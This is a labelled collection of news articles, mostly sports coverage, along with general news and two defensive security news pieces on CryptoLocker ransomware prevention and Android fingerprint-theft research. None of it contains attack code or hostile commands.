Story highlightsLate goals from Walter Samuel and Diego Milito earn Inter Milan first win in eight Serie A games Napoli score six against Cagliari to move up to fourth place Bundesliga match between Stuttgart and Kaiserslautern ends goalless Inter Milan's ended their seven-match winless streak in Serie A with a 2-0 win away to Chievo on Friday. Two late goals from Walter Samuel in the 87th minute and Diego Milito during injury time ensured a crucial three points for Claudio Ranieri's men.Milito's header made amends for a missed penalty in the 14th minute. The win lifts the Nerazzurri up to sixth in the table above Roma who travel to Palermo on Saturday night. "It's a result which gives us a morale boost. We said in the dressing room that we need to carry on from the second half against Catania," said Ranieri. "This win gives us joy, for a team like Inter to not score in a month is not easy," he added. Napoli moved up to fourth place with an entertaining 6-3 win over Cagliari at the Stadio San Paolo.Marek Hamsik opened the scoring in the 10th minute with captain Paolo Cannavaro doubling the lead nine minutes later. Eleven minutes later the home side were three up as Cagliari defender Davide Astori turned the ball into his own net. Joaquin Larrivey pulled one back for Cagliari in the 37th minute.Argentine striker Ezequiel Lavezzi made sure of three points in the 56th minute converting from the penalty spot. Uruguayan midfielder Walter Gargano added a fifth for Napoli in the 70th minute before Larrivey got his second of the night seven minutes later. Christian Maggio restored the four-goal lead seven minutes from time with Larrivey claiming his hat-trick in injury time. Meanwhile in the Bundesliga, Stuttgart drew 0-0 against bottom-of-the-table Kaiserslautern at the Mercedes-Benz Arena.The result means Stuttgart stay in eighth place while Kaiserslautern stay bottom, now one point adrift of Freiburg who travel to Monchengladbach on Saturday. | 0 |
(Reuters)The men's 50km mass start race at the Beijing Games was shortened to 30km but that did little to help Finland's Remi Lindholm, who needed a heat pack at the end of the race to thaw out a particularly sensitive body part.Lindholm spent just under an hour and 16 minutes traversing the course in howling, freezing winds, leading to his penis becoming frozen for the second time in a cross-country skiing race following a similar incident in Ruka, Finland last year.These were some of the highs and lows at the 2022 Winter Olympics"You can guess which body part was a little bit frozen when I finished (the men's Olympic 50km race) ... it was one of the worst competitions I've been in. It was just about battling through," he told Finnish media.With organizers worried about frostbite during Saturday's race, it was delayed by an hour and shortened by 20km. The thin suits and under-layers worn by racers, as well as plasters to cover their faces and ears, offered little protection.Lindholm explained that he used a heat pack to try to thaw out his appendage once the race was over.Read More"When the body parts started to warm up after the finish, the pain was unbearable," he added. | 0 |
London (CNN)"Absurd," "wrong" and "scandalous" screamed the Italian sports newspapers in their analysis of Cristiano Ronaldo's sending off against Valencia.Their anger -- and much of social media's -- was directed at German referee Felix Brych, who reduced the Juventus forward to floods of tears after giving him his marching orders just 30 minutes into his Champions League debut for his new club following an altercation with defender Jeison Murillo.Ronaldo's sister, Katia Aveiro, was also in agreement, firing off on Instagram: "Football's shame ... justice will be served. "They want to destroy my brother but God never rests. Shameful."JUST WATCHEDRonaldo's 'deal of the century': Why now?ReplayMore Videos ...MUST WATCHRonaldo's 'deal of the century': Why now? 04:12READ: Ronaldo sees red, criesRead MoreRight decision?After the game Juventus coach Massimiliano Allegri insisted Ronaldo wouldn't have been dismissed if VAR had been in use -- UEFA has yet to approve the system's deployment for Europe's top club competition."I can only say that VAR would have helped the referee make the right decision," Allegri told reporters.Juve teammate Emre Can clumsily added: "That's supposed to be a red? We're not women, we're playing football."A clear open and shut case then, it would appear? Especially if you saw some of the early video replays from distance which appeared to show the Portuguese forward do little more than run his hand across Murillo's head after the defender tumbled to the ground.But as closer video evidence emerged, it became clear that Ronaldo attempts to grab the Valencia man by his hair and rakes his fingers sharply back across his scalp.It may not have caused Murillo any serious harm or danger -- but in what world is raking someone's head acceptable behavior and something which deserves to go unpunished?"You can't do that," said former Manchester United midfielder Owen Hargreaves, as he analyzed the game for BT Sport -- one of the few commentators to speak in defense of the red card. .Cristiano Ronaldo is left in tears after getting a red card in his Champions League debut for Juventus in the Mestalla stadium in Valencia.READ: Firmino's eye for a goal stuns PSGThe laws of the game state "a player who, when not challenging for the ball, deliberately strikes an opponent or any other person on the head or face with the hand or arm, is guilty of violent conduct unless the force used was negligible."The crux of the argument for and against the sending off ultimately comes down to whether you think the force used on the "scalp rake" was negligible. If you think it was, then ask yourself: would you like your kids to be subjected to such treatment on their amateur fields?Because that ultimately is the trickle-down effect these players' actions have across the world.It's not simply a question of whether it hurt or endangered Murillo, but of what image football aims to project across the world.Does Europe's governing body UEFA, which runs the Champions League, want that type of behaviour seen, deemed acceptable and imitated or do they want punishment dished out to deter copycats and repeat offending? It was an act of petulance and aggression and one which rightly brought about a red card for a player who has shown these traits on more than one occasion throughout his career, so save the tears and tantrums, Cristiano. JUST WATCHEDAlternative FIFA commentary for 2017-2018ReplayMore Videos ...MUST WATCHAlternative FIFA commentary for 2017-2018 01:39On the surface it seemed to be a decision without much precedent -- seeing as there's very little head raking or hair pulling that goes on in football -- and that no doubt played a part in the frustrations of Ronaldo and his fans.But in reality, governing bodies have long clamped down on any sort of aggressive act towards an opponent's head.The Ronaldo "scalp rake" is just a catty version of the "ram rut" that players occasionally do when they come head-to-head and one throws a bit too much weight behind it.The intention, not the impact, results in the extreme consequence. Now when a player is sent off for the slightest "butt," the reaction is one of reluctant acceptance from fans that their man has been stupid enough to do something so petty that risks so much.There's no place for it in football and football is no poorer without it.He'll still, in all likelihood, be available for the glamor return to former club Manchester United on October 23 as well as their visit to Italy on November 7, as UEFA would have to deem his act an exceptionally serious offense to increase his automatic one-match ban to three -- and it was certainly not that.But make no mistake, there was nothing "shameful," "scandalous" or "wrong" about the immediate punishment Ronaldo had to choke back, and he'd do well to learn from this episode to correct his behavior rather than bemoan a perceived injustice. | 0 |
Story highlightsJose Mourinho says he can't understand the criticism he is receiving United out of Champions League and heavily trail Manchester City in league Says Manchester City 'better prepared' than United But says United are in a good position to get second (CNN)Jose Mourinho's second season at Manchester United is proving a bumpy ride.Knocked out of the Champions League by underdogs Sevilla, trailing local rivals Manchester City by 16 points in the English Premier League and having scored the fewest goals of any of the top four sides in the elite division, Mourinho is facing plenty of questions about his management of United."I understand the frustration, I understand the sadness of being knocked out in the Champions League, but I don't understand anything more than that," Mourinho told CNN Sport's Amanda Davies Wednesday after managing Usain Bolt in the Match of Friendship in Basel during the international break. Follow @cnnsport
Nonetheless, for a growing section of United fans the "Special One" -- who delivered a defiant 12-minute rant when he addressed reporters Friday following the Champions League exit -- isn't so special anymore. United's cautious approach was there for all to see against Sevilla -- who had racked up Europa League titles but never before made a Champions League quarterfinal -- leading to a 2-1 defeat on aggregate in the round of 16 earlier this month with all three goals coming at Old Trafford in the second leg. Read MoreIt was the kind of display United fans in the Alex Ferguson era didn't witness very often, even if the legendary Scot wasn't always about playing free-flowing football. Read: Mourinho under fire after European exit United did manage to beat Brighton 2-0 Saturday to advance to the FA Cup semifinals but even that was a far from commanding display, with the Portuguese himself calling his team "scared" at the "Theatre of Dreams."Things could get worse for second-place United before they get better.Manchester City under Pep Guardiola -- who Mourinho famously dueled with in La Liga when they managed Barcelona and Real Madrid, respectively -- potentially could clinch the Premier League title in the Manchester derby on April 7 at the Etihad Stadium. As well as running away with the Premier League, Guardiola's team is playing a style of football that has the critics purring, though Mourinho claims the the blue side of Manchester has been "better prepared" to achieve success. JUST WATCHEDCOPA90: The Manchester DerbyReplayMore Videos ...MUST WATCHCOPA90: The Manchester Derby 02:33Manchester City 'better prepared' "In the history of football all around the world, not just in England, you had the biggest clubs with the moments of transition, you have the biggest clubs with moments of continuous and permanent victories and these are phases in the club," said Mourinho. "And I think really at this moment looking to us in the Premier League we have one team, one club clearly better prepared than us in the past few years to be first and we have 18 clubs behind us. One in front of us, 18 behind us," he emphasized. Manchester United have won more domestic titles than any other English club but Mourinho is adamant the Red Devils are in a transitional phase.This despite United spending more than 145 million pounds ($205 million) in the pre-season transfer window and signing Alexis Sanchez from Arsenal in the January window. Indeed if Mourinho hinted of City's immense finances, United have also gone big in transfers. It has been a difficult season for Jose Mourinho at Manchester United. When Mourinho arrived at Old Trafford, United splashed out a then world-record 89 million pounds ($125 million) on midfielder Paul Pogba -- seemingly currently frozen out. The former Real Madrid, Chelsea and Inter boss, according to reports, last year became the first manager to dish out one billion pounds ($1.4 billion) on transfers overall. Read: English derby in Champions League Read: Race for Golden Shoe intensifies "Of course in the future we want to have 19 clubs behind us but this is the reality," said Mourinho, who added to his trophy haul by guiding United to the League Cup and Europa Cup double last term. "And the reality is for people with brain, with sense, with common sense, with knowledge of what sports is, we are in a moment of transition."Being in a moment of transition and still manage to do what he did last season and win trophies and to do what we are trying to do this season, which is still trying to win a trophy, and try to be second, because in this moment it's the only top position that is possible for us to get. "I think we are in a good position."Visit our football page for more football storiesPrior to the Manchester derby, United play host to rejuvenated Swansea City on March 31. And as Mourinho attempts to build on United's "good position," he made this promise to the United supporters. "Usain has a double meaning for me -- it's the meaning of what he represents in the history of sports and also what he represents in the history of humanity. "He is a Manchester United supporter and my feelings towards Manchester United supporters is that feeling that I will give everything I can, everything I have to try and make them happy." | 0 |
CryptoLocker is an especially insidious form of Ransomeware malware that was first detected in the wild in September 2013, restricts access to infected computers and requires victims to pay a ransom in order to regain full access.
What makes CryptoLocker so bad is the way it encrypts the user data on your hard drive using a strong encryption method. This makes it literally impossible to access your own data without paying the ransom amount to the criminals between $100 and $300 or two Bitcoins, even now more.
Once affected you will be locked out of your computer and unless you pay the ransom amount in 72 hours , the virus will delete the decryption key to decrypt all the files on your PC .
The malware lands on PCs the same way other malware does and a few sensible precautions will help minimize the chances of a CrytoLocker attack.
Yesterday, we reported that - UK's National Crime Agency has given out an urgent national alert that a mass spamming event targeting 10 million UK based email users with CryptoLocker.
What if your computer gets compromised? Currently there is no option to decrypt the files without the decryption key and brute forcing a file encrypted with 2048 bit encryption is almost impossible. If you don't pay the ransom, you forever lose access to everything you've been working on which is stored on your computer.
A few things you can do to prevent your PC from getting infected with the CryptoLocker virus:
Most viruses are introduced by opening infected attachments or clicking on links to malware usually contained in spam emails. Avoid opening emails and attachments from unknown sources, especially zip or rar archive files.
Most people have some anti-virus program, but how do you know it's effective? Ensure you have best one active and up-to-date.
Also keep your operating system and software up-to-date.
Keep a backup. If you have a real-time backup software then make sure that you first clean the computer and then restore the unencrypted version of the files.
Create files in the Cloud and upload photos to online accounts like Flickr or Picasa.
Windows 7 users should set up the System Restore points or, if you are using Windows 8, configure it to keep the file history.
Make sure you have reformatted your hard drive to completely remove the CryptoLocker trojan before you attempt to re-install Windows and/or restore your files from a backup.
There are many free tools now available in the community, that can help users to protect their systems from this malware.
1.) CryptoPrevent tool, created by American security expert Nick Shaw.
This tool applies a number of settings to your installation of Windows that prevents CryptoLocker from ever executing and has been proven to work in Windows XP and Windows 7 environments.
2.) HitmanPro.Alert 2.5, a free utility that will help you to protect your computer against the CryptoLocker ransomware malware.
HitmanPro.Alert 2.5 contains a new feature, called CryptoGuard that monitors your file system for suspicious operations. When suspicious behavior is detected, the malicious code is neutralized and your files remain safe from harm.
3.) BitDefender Anti-CryptoBlocker, an encryption-blocking tool that can detect and block malware from installation.
Intrusion prevention systems can block the communications protocol send from the Cryptolocker infected system to the remote command-and-control server where the malware retrieves the key to encrypt the files. Blocking the communications can prevent the encryption from taking place.
Read more detailed articles on Cryptolocker Ransomware:
Cryptolocker Ransomware makes different Bitcoin wallet for each victim
CryptoLocker Ransomware demands $300 or Two Bitcoins to decrypt your files
CryptoLocker developer launches Decryption Service website; 10 Bitcoins for Decryption Keys
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Story highlightsThe 1986 Chernobyl disaster was the worst nuclear accident in history"There are no plans to make donations to the victims of the Chernobyl disaster," says UEFAChairman of the Chernobyl Children's Trust describes decision as paying 'lip-service' to Chernobyl victimsUEFA made a net profit of $312.5 millionUEFA has decided not to make a charitable donation to the victims of the Chernobyl disaster as part of the social projects it has opted to support during Euro 2012, which is being co-hosted by Ukraine and Poland.A botched reactor safety test at Chernobyl in Ukraine -- then part of the Soviet Union -- set off the worst nuclear accident in history, with the radiation effects of the 1986 explosion about 400 times more potent than the bomb dropped on Hiroshima during World War II, and nearly 14 times greater than the disaster last year at the Fukushima plant in Japan."There are no plans to make donations to the victims of the Chernobyl disaster," UEFA said in a statement given to CNN. "However, children from Chernobyl disaster regions in Ukraine and Belarus have received an invitation, extended by UEFA President Michel Platini, to attend one of the Euro 2012 matches. There will be a total of 125 children attending the match in Kiev on June 19 between Sweden and France."The chairman of the Chernobyl Children's Trust Simon Walsh described UEFA's decision as paying 'lip-service' to the victims of Chernobyl."This is a hugely significant tournament and a unique opportunity to highlight the ongoing consequences of the Chernobyl disaster," said Walsh.JUST WATCHEDPlatini: Bayern, Chelsea worthy of finalReplayMore Videos ...MUST WATCHPlatini: Bayern, Chelsea worthy of final 04:58 Photos: Euro 2012: Key players Photos: Euro 2012: Key playersMilan the main man – Czech Republic were solid in a kind qualifying group, finishing second to reigning champions Spain after conceding just eight goals in eight games. The Euro 1996 finalists' problems are in attack, where 30-year-old striker Milan Baros will be expected to provide a cutting edge.Hide Caption 1 of 16 Photos: Euro 2012: Key playersCounting on Karagounis – Greece shocked the whole of Europe eight years ago, emerging from nowhere to be crowned Euro 2004 winners. One of the survivors of that team is midfielder Giorgos Karagounis, whose experience will be key if Greece are to reach the quarterfinals.Hide Caption 2 of 16 Photos: Euro 2012: Key playersPoster boy – Co-hosts Poland boast one of Europe's most in-form strikers in the shape of Robert Lewandoski. The 23-year-old had a fine season with German champions Borussia Dortmund and he will be Poland's main goal threat in Group A.Hide Caption 3 of 16 Photos: Euro 2012: Key playersKirill the kid – The surprise inclusion in the Russia squad was uncapped CSKA Moscow defender Kirill Nababkin(left). Under Guus Hiddink in 2008, Russia enjoyed a run to the semifinals in Austria and Switzerland. Hiddink's compatriot Dick Advocaat will be hoping for a similar performance this year.Hide Caption 4 of 16 Photos: Euro 2012: Key playersEyes on Eriksen – The star of the Denmark squad is young playmaker Christian Eriksen. The Ajax midfielder could earn a move to one of Europe's big clubs with an impressive showing in Poland and Ukraine.Hide Caption 5 of 16 Photos: Euro 2012: Key playersSweating on Schweinsteiger – Germany go into Euro 2012 with a squad full of proven international performers and as one of the favorites to lift the trophy. Coach Joachim Low's main concern will be midfielder Bastian Schweinsteiger, who is battling to be fit for Germany's first match against Portugal on June 9.Hide Caption 6 of 16 Photos: Euro 2012: Key playersReliant on Robin? – Netherland's Robin van Persie enters the four-yearly tournament off the back of a prolific season with Arsenal. In addition to Van Persie's firepower, the Euro 1988 winners also have Schalke hitman Klaas-Jan Huntelaar.Hide Caption 7 of 16 Photos: Euro 2012: Key playersCristiano the creator – Portugal have exciting talents such as Real Madrid's Cristiano Ronaldo and Nani of Manchester United in wide positions, but Paulo Bento's team arguably lack a true goalscorer.Hide Caption 8 of 16 Photos: Euro 2012: Key playersLooking to Luka – Croatia impressed many spectators with their performances at Euro 2008, before being eliminated in the quarterfinals by Turkey. Luka Modric was their stand-out performer four years ago, and the pressure will be on the midfelder once again in June.Hide Caption 9 of 16 Photos: Euro 2012: Key playersSuper Mario – Italy's preparations for Euro 2012 might have been hit by a recent match-fixing investigation, but in striker Mario Balotelli, who has been handed the No. 9 shirt, the Azzurri have a player who could, if he's in the right mood, be the star of the tournament.Hide Caption 10 of 16 Photos: Euro 2012: Key playersGetting the job Dunne – Giovanni Trapattoni's Ireland qualified for Euro 2012 courtesy of a strong defence. In a group which includes multiple attacking threats, Richard Dunne will be key to Ireland's chances of reaching the quarterfinals.Hide Caption 11 of 16 Photos: Euro 2012: Key playersTorres' time? – An injury to David Villa has opened the door for Fernando Torres to spearhead reigning champions Spain's challenge. Can the Chelsea striker put a difficult couple of years behind him and produce another European Championship-winning goal?Hide Caption 12 of 16 Photos: Euro 2012: Key playersWithout Wayne – England will be without striker Wayne Rooney for the first two matches of the tournament due to suspension. Can new coach Roy Hodgson adapt and navigate his team out of a tricky group?Hide Caption 13 of 16 Photos: Euro 2012: Key playersFrance's forward options – Striker Olivier Giroud enjoyed an impressive campaign in the French Ligue 1, playing a key part of Montpellier's championship-winning team. Can the 25-year-old usurp Real Madrid's Karim Benzema as Laurent Blanc's first-choice striker?Hide Caption 14 of 16 Photos: Euro 2012: Key playersZlat attack – Sweden's challenge will be led by the unpredictable talents of AC Milan's Zlatan Ibrahimovic. Despite world-class performances at club level, the striker has so far failed to convince on the international stage.Hide Caption 15 of 16 Photos: Euro 2012: Key playersSheva's last stand – Ukraine legend Andriy Shevchenko (left) will be taking part in his final international tournament and the former AC Milan striker will be hoping to go out with a bang in front of his home fans.Hide Caption 16 of 16"Hundreds of thousands of children in Belarus, Ukraine and Russia are still affected today. Ironically, charities from the 16 nations participating in the Euros are working in the affected regions, trying their best to mitigate the consequences of Chernobyl with very limited resources. "This could have been a golden opportunity to raise both awareness and funds for the 'Children of Chernobyl' while simultaneously giving much-needed credibility and kudos to UEFA and Michel Platini."More than 200,000 people were evacuated following the disaster, never to return. A 2005 report by "The Chernobyl Forum" (the most comprehensive to date) estimated that more than five million remain in what have been termed "contaminated territories," and 250,000 live in "highly contaminated territories."Figures released by UNICEF in 2010 showed that more than 20% of adolescent children in Belarus, which neighbors Ukraine, suffered from disabilities and chronic illness. Belarus absorbed 70% of Chernobyl's fallout."Twenty-six years after the Chernobyl catastrophe, hundreds of villages and towns remain radioactively contaminated and millions of people, many of whom are children, live in these areas," said Walsh."These children and their families have had to adapt and 'forget' about the radiation as they have no choice but to live where they are. Popular pastimes like collecting berries and mushrooms and walking in the forest are forbidden in contaminated areas but as time progresses the radiation signs are often ignored."Walsh added: "The government is now systematically declassifying villages and towns as contaminated," added the Chernobyl Children's Trust chairman. "This is not based on any scientific evidence and entire towns and villages that may well still be radioactively contaminated are now being classified as 'clean' and 'safe' to live in."This is purely economical as families living in the 'zones' are entitled to certain 'privileges' -- a free holiday in a different part of the country for children, once a year and a meager allowance for the family."UEFA, which made a net profit of $312.5 million during Euro 2008, is to make a contribution of $3.75 million to its RESPECT campaign -- RESPECT Diversity, RESPECT Fan Culture, RESPECT Inclusion and RESPECT your Health. The RESPECT Diversity project is being run by Football Against Racism in Europe (FARE). Two FARE international monitors will attend each match during Euro 2012 to identify racist behavior and far-right banners.Former England defender Sol Campbell has warned fans not to travel to Poland or Ukraine following a BBC documentary accusing football fans from the two countries of racism and also questioned why both nations were awarded the tournament in the first place.UEFA says the profits for the 2008 tournament were used to finance all its youth and women's competitions until 2012, its complete refereeing and coaching programs and some of its administrative costs. | 0 |
(CNN)France's World Cup-winning striker Olivier Giroud believes it is "impossible" for a professional footballer to come out as gay.The Chelsea star, speaking to French newspaper Le Figaro, said it is an "understatement" to say the sport is not ready to accept an openly gay player.Visit cnn.com/sport for more news and videosJUST WATCHEDAtkin: I came out 'because football needs it'ReplayMore Videos ...MUST WATCHAtkin: I came out 'because football needs it' 06:36"When I saw the German Thomas Hitzlsperger come out in 2014, it was very emotional," he said. "That was when I said to myself it's impossible to display homosexuality in football."Hitzlsperger, a former German international, is the most high-profile former footballer to come out, doing so a year after announcing his retirement.Read MoreREAD: Thomas Hitzlsperger comes out as gayREAD: World's first gay rugby club turns 20There are currently just two openly gay professional players in world football, Minnesota United's Collin Martin and Sweden's Anton Hysen.Justin Fashanu, Britain's first £1 million black footballer, became the first openly gay professional footballer in 1990."In the dressing room, there is a lot of testosterone, teasing and communal showers," Giroud said. "It is delicate but that is how it is. "I can understand the distress and the difficulty for guys to come out -- it is a real challenge after working on yourself for years."READ: From humble beginnings, Gay Bowl attracts NFL sponsors and touches livesGiroud has been involved in campaigns while at former clubs Arsenal and at Montpellier, where he appeared on the front cover of gay magazine Tetu, to raise awareness of the issues LGBT people face.English clubs will again take part in a campaign later this month which will aim to raise awareness of homophobia in football, with rainbow laces, corner flags and captains' armbands on display at grounds around the country."I am ultra tolerant," Giroud said. "When I was at Montpellier, I was involved in the fight, notably doing the cover of Tetu."At Arsenal, when they asked me to wear the rainbow laces in support of the gay community, I did it. There is still a lot of work to do in the world of football on this subject, that's an understatement." | 0 |
(CNN)Compostable alternatives to plastic could worsen marine pollution and have other serious environmental impacts, a report from a committee of UK MPs has warned. The world has a plastic problem -- millions of tons of plastic enter the oceans every year, polluting our seas, littering our beaches and endangering wildlife.In an attempt to curb the devastation wreaked on the oceans and on the environment, many businesses and consumers are turning to alternatives to plastic -- like biodegradable or compostable packaging. What you need to know about carbon footprintsBut instead of alleviating the problem of pollution, replacing plastic with other materials can still have a disastrous environmental impact, a report released by the UK Parliament's Environment, Food and Rural Affairs Committee warned. In fact, such alternatives could even increase pollution by making people complacent about their use and disposal, the report released on Thursday suggested. It cited the environmental group Green Alliance, which had raised concerns about evidence that "people are more likely to discard material described as 'biodegradable' in the environment, which would make pollution on land and at sea even worse."Read MoreThe report found that consumers were confused about how to dispose of compostable packaging, which could result in contamination of recycling, as well as littering. The committee said that materials were being used as substitutes for plastic "without proper consideration of wider environmental consequences, such as higher carbon emissions." In evidence included in the report, Juliet Phillips, ocean campaigner at the Environmental Investigation Agency stated that "if a biodegradable cup gets into the sea, it could pose just as much of a problem to marine life as a conventional plastic cup."The committee recommended that the UK Government should conduct a review of reusable and refillable packaging systems, and said that the UK government was not putting enough emphasis on reducing plastic food and drink packaging in the first place.Plastic straws are the subject of the latest 2020 culture war "We all know that plastic pollution of our rivers and seas is a huge problem. However, replacing plastic with other materials isn't always the best solution, as all materials have an environmental impact," said MP Neil Parish, the committee chair. "My committee is also concerned that compostable plastics have been introduced without the right infrastructure or consumer understanding about how to dispose of them. Fundamentally, substitution is not the answer, and we need to look at ways to cut down on single use packaging," he added. "All food and drink packaging, whether plastic or another material, has an environmental impact," the committee found. | 0 |
Story highlightsAl-Bakr's behavior suggests a link to ISIS, officials say Two Syrian men tied suspect up in an apartment, then called police (CNN)A Syrian refugee detained by police in Germany had links to the ISIS militant group and was planning a bomb attack "with Islamist motives," German officials said Monday.German police discovered 1.5 kg of extremely dangerous explosives in a flat in Chemnitz before detaining 22-year-old Jaber al-Bakr in Leipzig on Sunday, ending a manhunt that lasted almost two days, the German general prosecutor said. A specific target was as yet unknown, he said.The arrest of a 22-year-ol Syrian ended a manhunt that lasted almost two days. "His approach and behavior suggest an IS context," said Joerg Michaelis, the president of the Saxony crime office, referring to the Islamic State, or ISIS.Tied to the sofaAl-Bakr was captured after two other Syrian men tied him up in their apartment in Leipzig and alerted police. Leipzig is about 100 kilometers (60 miles) from Chemnitz.Read MoreAl-Bakr had met the men at Leipzig's train station on Saturday, Michaelis said, and asked if he could stay with them. The men took in the stranger but realized on Saturday night through social media that he was wanted by police. They tied al-Bakr to their sofa and alerted the police via social media, asking them to come detain him. Police secure a residential area in Chemnitz, Germany, after explosives were found in an apartment.For security reasons, police would not identity the two men who turned in al-Bakr. "Our thanks and our recognition go out to the (men) from Syria who informed the police about the suspect's whereabouts," said Ulrike Demmer, a spokesman for German Chancellor Angela Merkel. Angela Merkel, Germany's chancellor praised the initiative of the two Syrians for informing the police of al-Bakr's whereabouts. Acetone peroxideAl-Bakr had taken concrete steps earlier this month to plan the attack and was possibly planning to use an explosive vest. authorities said.Police on Saturday said they had found a highly explosive mix of substances more dangerous than TNT in a raid on what appears to be al-Bakr's apartment in Chemnitz. They said the mix could cause significant damage in small amounts.The material found was likely TATP, or acetone peroxide, which was used in recent terror attacks in Brussels and Paris, Michaelis said.Interior Minister Tomas De Maziere released a statement Monday saying: "The preparations in Chemnitz are similar from everything that we now know to the preparations for the attacks in Paris and Brussels."📢NEWS: Tired but overjoyed: we captured the terror suspect last night in Leipzig❗️— Polizei Sachsen (@PolizeiSachsen) October 10, 2016
Following the raid, authorities began searching for al-Bakr, who is from the Damascus area."Tired but overjoyed: we captured the terror suspect last night in Leipzig," Saxony police announced on Twitter on Monday. Police said the explosive substance could not be easily transported, so they dug several holes and safely detonated it.Merkel under pressure on refugeesMarkus Ulbig, Saxony State interior minister, said that al-Bakr had come to Germany as an asylum-seeker in February 2015. A year later, he formally asked for asylum, which was granted in June this year. A second detained suspect, identified only as Khalil A., is a 33-year-old who came to Germany in November 2015 and was recognized as a refugee in March this year. Police raided an apartment building in Chemnitz, Germany, on Saturday.Two other people were arrested at the city's train station Saturday, police said, and their luggage was being searched. The station was temporarily cordoned off, police said. Another person was arrested in the city center and police said they believed that person was in contact with al-Bakr. It's not clear if one of these three is the second suspect, Khalil A.The tip about the apartment came from the German interior intelligence services, authorities said. Police carried out a controlled explosion to gain access to the apartment.Chemnitz is about 40 miles from the city of Dresden, where security was stepped up last month following two bomb attacks -- one on a mosque and another on a conference center. Two homemade devices were involved in those attacks, police said. No one was injured.German Chancellor Merkel has come under intense political pressure for her open-door policy on refugees. German officials said the country welcomed more than 1 million refugees in 2015 alone, many of them Syrians fleeing the war in their country. There have been several low-impact attacks in Germany this year carried out by refugees, prompting Merkel's administration to tighten security measures.CNN's Sara Mazloumsaki contributed to this report. | 0 |
Rome (CNN)The Vatican issued tougher, comprehensive laws Friday governing the sexual abuse of minors within the Vatican City State, Vatican offices and its diplomatic embassies abroad.Pope Francis personally signed off on the new legislation that includes mandatory reporting of potential sexual abuse cases to Vatican authorities and the automatic dismissal of any employee found guilty of sexual abuse against minors.The new laws also raise the statute of limitations for reporting a crime to 20 years following the 18th birthday of an alleged victim. The previous law was four years from the date of the alleged crime.The move comes in the wake of the Vatican's unprecedented summit last month in Rome to confront the Catholic Church's clergy abuse scandal.Pope Francis first updated the Vatican's laws in 2013, criminalizing violence against minors. Potential employees of the Vatican will now also undergo a special screening process to ensure they are fit to work with children.Read More"The Holy Father hopes that thanks to these norms which pertain to Vatican City State and the Roman Curia, everyone might develop in their awareness that the church must always be ever increasingly a safe home for children and vulnerable persons," Vatican spokesman Alessandro Gisotti said in a statement.How convicted pedophile Cardinal George Pell was brought to justiceIn 2013, Francis updated the Vatican City's laws to include criminalizing sexual violence against minors. This is the first time, however, that the Vatican has created a comprehensive and specific set of procedures and laws to follow regarding child sexual abuse for the Vatican City State and its offices abroad.About 800 people live in Vatican City, and some 450 have Vatican citizenship, according to the Vatican. An estimated 5,000 priests, nuns and laypeople work for the Vatican in Rome and in its embassies abroad.The new laws go into effect on June 1. | 0 |
Moscow (CNN)Tough new Covid-19 restrictions went into effect in Moscow on Thursday, with the Russian capital entering an 11-day paid holiday that authorities hope will help rein in skyrocketing coronavirus cases and deaths across the country. The rest of the country is due to join Moscow in taking so-called 'non-working' days from Saturday until November 7. The restrictions came into effect as Russia reported 40,096 cases and 1,159 deaths on Thursday, the highest daily figures yet. Restaurants, cafes, entertainment venues, clothing stores, fitness clubs, libraries and many other establishments in Moscow closed their doors on Thursday. Cafes and restaurants will only be available for takeaway and delivery, with the exception of eateries at hotels, where only guests and employees can dine. Government entities and state services will also go on a "long paid leave" for as long as the non-working days last, though they will still be delivering services online. Daily reported Covid-19 cases
Medical assistance in Moscow will be provided as usual, but with a number of restrictions. In particular, dentists will be able to provide only emergency and urgent care. Schools and kindergartens will go on vacation too, while universities will have to operate remotely.Read MoreMass cultural, entertainment and sports events will not be held unless an exception is granted by city authorities. Passengers arrive at the Kiyevsky railway station in Moscow.Muscovites can however still access shops selling food and essential goods, pharmacies, parks, and theaters and museums with proof of vaccination or recent recovery from Covid-19. Despite the restrictions, the streets of the capital seemed as lively as usual on Thursday. Transport in Moscow will continue to operate as normal. On October 20, Russian President Vladimir Putin approved a proposal to declare non-working days from October 30 to November 7 across the whole country and strongly encouraged each region to introduce the measures earlier if necessary. Russia imposes hospitality curfew to tackle spread of CovidOn Tuesday, Moscow's deputy mayor Anastasia Rakova urged people to use the non-working days to get vaccinated. Russia's efforts to reduce transmission have been seriously hampered by a lackluster vaccination program. Just around 30% of the population is fully vaccinated, in a country where four domestic vaccines are available."We urge Muscovites to make the most of this time -- to spend their days with their families, go to the country house or get vaccinated at one of the city centers. Vaccination and rapid testing centers for Covid-19 will continue to operate in Moscow. You can get vaccinated without an appointment in popular public places or by appointment at the clinic," said Rakova.Other restrictions have been in effect in Moscow since Monday. All residents over 60 who have not been vaccinated and have not been ill within the last six months, as well as people with certain chronic diseases, have been ordered to stay home until late February. Employers in the capital were also ordered to tell at least 30% of their employees to work from home from Monday. | 0 |
Over a year ago I wrote an article on The Hacker News that warned of serious security concerns created by the iPhone and Android's Fingerprint authentication.
Till now hackers were impersonated simply by lifting prints off the side of a phone and gaining unauthorized access to user's phone and thus data.
However, security researchers have now discovered four new ways to attack Android devices to extract user fingerprints remotely without letting the user know about it.
The attack, which the researchers dubbed the "Fingerprint Sensor Spying attack," could be used by hackers to "remotely harvest fingerprints in a large scale," Yulong Zhang, one of the researchers told ZDNet.
Remotely Hacking Android Fingerprints
FireEye researchers Tao Wei and Yulong Zhang presented their research in a talk titled, Fingerprints on Mobile Devices: Abusing and Leaking, at the Black Hat conference in Las Vegas on Wednesday, where they outlined new ways to attack Android devices in an effort to extract user fingerprints.
The new attack is limited mostly to Android devices with Fingerprint Sensors that helps the user to authenticate their identity by simply touching their phone's screen, instead of by entering a passcode.
Researchers confirmed the attack on the HTC One Max and Samsung's Galaxy S5, which allowed them to stealthily obtain a fingerprint image from the device because vendors don't lock down fingerprint sensors well enough.
The attack affects mobile phones by major manufacturers including handsets delivered by Samsung, HTC, and Huawei.
Fingerprints vs. Passwords
If we give a thought, then stolen fingerprints would be an even worse scenario than stolen passwords because you can change your passwords when breached but not just replace your fingerprints.
"In this attack, victims' fingerprint data directly fall into attacker's hand. For the rest of the victim's life, the attacker can keep using the fingerprint data to do other malicious things," said Zhang.
The good news is that the issue is relatively easy to fix by adding encryption to the fingerprint data on Android devices, and affected vendors have since released patches after being alerted by the researchers.
Researchers have not shared any "proof-of-concept" detailing exactly how the fingerprint stealing attack can be executed remotely.
Meanwhile Apple users can just sit and relax, as it appears that iPhone and iPad's Touch ID is "quite secure" because it encrypts fingerprint data from the scanner with a crypto key, making it unreadable even if hackers gain access.
Users need to note that Google doesn't yet officially support fingerprints in its mobile operating system, but it will soon do support fingerprint sensors with the Android M update.
